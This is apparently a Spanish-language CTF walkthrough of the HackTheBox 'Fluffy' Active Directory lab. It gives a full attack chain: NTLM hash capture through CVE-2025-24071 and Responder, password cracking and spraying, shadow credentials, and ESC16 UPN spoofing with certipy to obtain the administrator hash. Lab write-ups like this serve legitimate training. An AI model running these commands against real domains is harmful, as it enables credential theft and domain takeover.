Fluffy

Escaneo:

❯ cat targeted -l java
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: targeted
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.95 scan initiated Thu May 29 11:36:07 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p53,88,139,389,445,464,593,636,3268,3269,5985,9389,49667,49685,49686,49689,49703,49711,49742 -oN targete
       │ d 10.10.11.69
   2   │ Nmap scan report for fluffy.htb (10.10.11.69)
   3   │ Host is up (0.44s latency).
   4   │ 
   5   │ PORT      STATE SERVICE       VERSION
   6   │ 53/tcp    open  domain        Simple DNS Plus
   7   │ 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-29 23:36:15Z)
   8   │ 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
   9   │ 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
  10   │ |_ssl-date: 2025-05-29T23:37:49+00:00; +6h59m59s from scanner time.
  11   │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
  12   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
  13   │ | Not valid before: 2025-04-17T16:04:17
  14   │ |_Not valid after:  2026-04-17T16:04:17
  15   │ 445/tcp   open  microsoft-ds?
  16   │ 464/tcp   open  kpasswd5?
  17   │ 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  18   │ 636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
  19   │ |_ssl-date: 2025-05-29T23:37:49+00:00; +7h00m00s from scanner time.
  20   │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
  21   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
  22   │ | Not valid before: 2025-04-17T16:04:17
  23   │ |_Not valid after:  2026-04-17T16:04:17
  24   │ 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
  25   │ |_ssl-date: 2025-05-29T23:37:49+00:00; +6h59m59s from scanner time.
  26   │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
  27   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
  28   │ | Not valid before: 2025-04-17T16:04:17
  29   │ |_Not valid after:  2026-04-17T16:04:17
  30   │ 3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
  31   │ | ssl-cert: Subject: commonName=DC01.fluffy.htb
  32   │ | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
  33   │ | Not valid before: 2025-04-17T16:04:17
  34   │ |_Not valid after:  2026-04-17T16:04:17
  35   │ |_ssl-date: 2025-05-29T23:37:49+00:00; +7h00m00s from scanner time.
  36   │ 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
  37   │ |_http-title: Not Found
  38   │ |_http-server-header: Microsoft-HTTPAPI/2.0
  39   │ 9389/tcp  open  mc-nmf        .NET Message Framing
  40   │ 49667/tcp open  msrpc         Microsoft Windows RPC
  41   │ 49685/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
  42   │ 49686/tcp open  msrpc         Microsoft Windows RPC
  43   │ 49689/tcp open  msrpc         Microsoft Windows RPC
  44   │ 49703/tcp open  msrpc         Microsoft Windows RPC
  45   │ 49711/tcp open  msrpc         Microsoft Windows RPC
  46   │ 49742/tcp open  msrpc         Microsoft Windows RPC
  47   │ Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
  48   │ 
  49   │ Host script results:
  50   │ | smb2-security-mode: 
  51   │ |   3:1:1: 
  52   │ |_    Message signing enabled and required
  53   │ | smb2-time: 
  54   │ |   date: 2025-05-29T23:37:10
  55   │ |_  start_date: N/A
  56   │ |_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
  57   │ 
  58   │ Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  59   │ # Nmap done at Thu May 29 11:37:50 2025 -- 1 IP address (1 host up) scanned in 103.51 seconds

Agregamos al etc hosts:

10.10.11.69 fluffy.htb DC DC01.fluffy.htb

Ya tenemos las siguientes credenciales:

As is common in real life Windows pentests, you will start the Fluffy box with credentials for the following account: j.fleischman / J0elTHEM4n1990!


Listamos los archivos compartidos:

  • Dos formas distintas:

nxc smb 10.10.11.69 -u 'j.fleischman' -d 'fluffy.htb' -p 'J0elTHEM4n1990!' --shares
smbmap -H 10.10.11.69 -u 'j.fleischman' -p 'J0elTHEM4n1990!'

Se encontró un ITdirectorio que se puede leer y escribir.


 smbclient  //10.10.11.69/IT -U j.fleischman    

Descargamos el .pdf:

Se dan algunas CVEvulnerabilidades recientes

CVE-2025-24071

Combinando con los resultados anteriores smbmap, podemos saber ITque se puede escribir en el directorio, por lo que podemos probar las siguientes ideas

Generar archivos maliciosos 👇 y subirlos al directorio:

Iniciar responderel monitoreo

El comando Responder está configurado para escuchar las solicitudes de autenticación SMB que se están generando cuando el archivo .rar con el .library-ms es extraído. La extracción activa automáticamente la fuga de hashes NTLM, y con el comando de Responder, puedes capturar esos hashes para luego analizarlos o crackearlos.


responder -I tun0 -wvF

Úsar johnpara romper

john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Verificacion de Pulverizacion de Contraseña


Enumeración de Usuarios SMB

nxc smb 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!' --users

Y lo guardamos en un .txt:

Pulverización de Contraseñas:

nxc ldap 10.10.11.69 -u users.txt -p passwords.txt --continue-on-success

Bloodhound

python3 bloodhound.py  -u 'p.agila' -p 'prometheusx-303'  -d fluffy.htb -ns 10.10.11.69 -c All --zip

Ingresamos al Bloodhound los json:

Pertenece a dos grupos:

Al buscar mas info en los dos grupos podemos saber que:

  • Tenga en cuenta que p.agilapuede agregarse usted mismo al SERVICE ACCOUNTS de usuarios.

  • Entonces el grupo tiene permisos de escritura servicepara el usuario.CA_SVC

y el user CA_SVC:


Ahora tenemos que realizar todos estos pasos:

  • Primero p.agilaagrégalo al grupo

python3 bloodyAD.py --host '10.10.11.69' -d 'dc01.fluffy.htb' -u 'p.agila' -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' p.agila

Debido a que tiene permisos para cuentas SERVICE ACCOUNTScomo ca_svc, ldap_svc, etc., esto significa que se puede agregar una KeyCredential personalizada (certificado sombra) a estas cuentas.winrm_svcGenericWrite

Shadow Credential

Sincronizamos la hora:

ntpdate -u 10.10.11.69  
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303'  -account 'WINRM_SVC'  -dc-ip '10.10.11.69'     
  • Se generó un certificado para el usuario winrm_svc.

  • Se obtuvo el TGT y el NT hash, lo que permite la autenticación y el acceso a recursos del sistema bajo el contexto de winrm_svc.

  • El NT hash puede ser utilizado para autenticación basada en hashes o para esquemas de ataque como el Pass-the-Hash (PTH).


Escalada de privilegios:


WINRM_SVCEl usuario no parece tener nada especial.

  • Luego, realice un ataque de credenciales de sombra en ca_svc ,

    ldap_svc y : winrm_svc

Continúe la misma operación que la anterior para obtener el hash del usuario ca_svc:

certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' -debug
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ldap_svc' -debug
certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'winrm_svc' -debug
ca_svc
ldap_svc

certipy-ad find -vulnerable -u CA_SVC -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip 10.10.11.69

El comando certipy-ad find -vulnerable que ejecutaste realiza una búsqueda en el entorno de Active Directory (AD) para encontrar vulnerabilidades relacionadas con certificados y configuraciones de la Autoridad Certificadora (CA)

cat 20250529205134_Certipy.json
No se encontraron plantillas

Quizás sea porque certipy-adla versión es muy baja, actualízala aquí


 python3 certipy/entry.py  find -username ca_svc -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable

Suplantación de UPN: certipy

Lea el UPN original de la cuenta de la víctima (opcional - para recuperación).

Paso 1: Leer el UPN original de la cuenta de la víctima

Objetivo: Obtener el nombre principal de usuario (UPN) original de la cuenta de la víctima (esto es opcional, pero útil para una posible recuperación).

Comando:

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read

Descripción: Este comando lee el UPN actual de la cuenta ca_svc en el dominio fluffy.htb. Este paso es importante para verificar y obtener la información de la cuenta antes de modificarla en los siguientes pasos.


Paso 2: Actualizar el UPN de la cuenta de la víctima al del administrador de destino

Objetivo: Cambiar el UPN de la cuenta de la víctima (ca_svc) para que coincida con el UPN del administrador de destino, que generalmente será el UPN de un administrador privilegiado (como administrator).

Comando:

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'administrator' -user 'ca_svc' update

Descripción: Este comando actualiza el UPN de la cuenta ca_svc para que sea el de un administrador de destino, en este caso administrator. Esto es parte de un proceso para manipular la cuenta y solicitar un certificado en su nombre.


Paso 3: Solicitar un certificado emitido como usuario "víctima"

Objetivo: Solicitar un certificado de autenticación para el usuario modificado (ahora con el UPN de administrador) desde una plantilla de certificados adecuada.

Comando:

certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

Luego, se configura la variable de entorno para el caché de Kerberos:

export KRB5CCNAME=ca_svc.ccache

Después de configurar el caché de credenciales, se solicita el certificado:

certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'

Descripción: Este paso utiliza Certipy para solicitar un certificado desde la CA (Autoridad Certificadora) fluffy-DC01-CA, utilizando la plantilla de certificados de usuario. El certificado se solicita bajo el contexto de la cuenta de la víctima que ahora tiene el UPN del administrador, lo que permite la obtención del certificado para esa cuenta.


Paso 4: Restaurar el UPN de la cuenta "víctima"

Objetivo: Restaurar el UPN original de la cuenta ca_svc después de haber realizado la modificación necesaria para la solicitud de certificados.

Comando:

certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update

Descripción: Este comando devuelve el UPN de la cuenta ca_svc a su valor original, lo que ayuda a limpiar la modificación hecha en el paso anterior y mantener la consistencia de las cuentas de usuarios en el dominio.


Paso 5: Autenticarse como administrador de destino

Objetivo: Utilizar el certificado obtenido en el paso 3 para autenticarte como el administrador de destino (administrator), ahora que el certificado está disponible.

Comando:

certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Descripción: Este comando utiliza el archivo de certificado administrator.pfx para autenticar al usuario administrator en el dominio fluffy.htb. Si todo ha salido correctamente, esto permitirá la autenticación como administrador utilizando el certificado obtenido previamente.


Resultados del Paso 5:

Una vez ejecutado el comando de autenticación, el sistema proporciona los siguientes detalles:

  • Obtención del TGT (Ticket Granting Ticket): El proceso de autenticación Kerberos fue exitoso, obteniendo un TGT para administrator@fluffy.htb.

  • Guardado del caché de credenciales: El TGT se guarda en el archivo administrator.ccache, lo que permite usar el ticket para futuras autenticaciones sin necesidad de volver a pedirlo.

  • Obtención del hash NT del usuario: El hash NT para el usuario administrator@fluffy.htb es extraído con éxito, lo que podría ser útil para realizar ataques como Pass-the-Hash.

Resultado:

Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:<hidden>

Resumen del Proceso:

Este conjunto de pasos describe cómo manipular cuentas en Active Directory para obtener credenciales de administrador a través de la modificación del UPN de una cuenta de víctima (ca_svc), la solicitud de un certificado de autenticación en nombre del usuario víctima, y finalmente la autenticación como administrador de destino utilizando el certificado emitido.

Los pasos son los siguientes:

  1. Leer el UPN original de la cuenta víctima.

  2. Actualizar el UPN de la cuenta víctima al UPN de un administrador de destino.

  3. Solicitar un certificado para la cuenta con el UPN modificado desde una plantilla de certificado adecuada.

  4. Restaurar el UPN original de la cuenta víctima.

  5. Autenticarse como el administrador de destino usando el certificado obtenido.

Este proceso utiliza herramientas como Certipy y técnicas como certificados de autenticación, explotación de vulnerabilidades ESC16 y autenticación Kerberos para realizar la escalada de privilegios en el dominio.


Last updated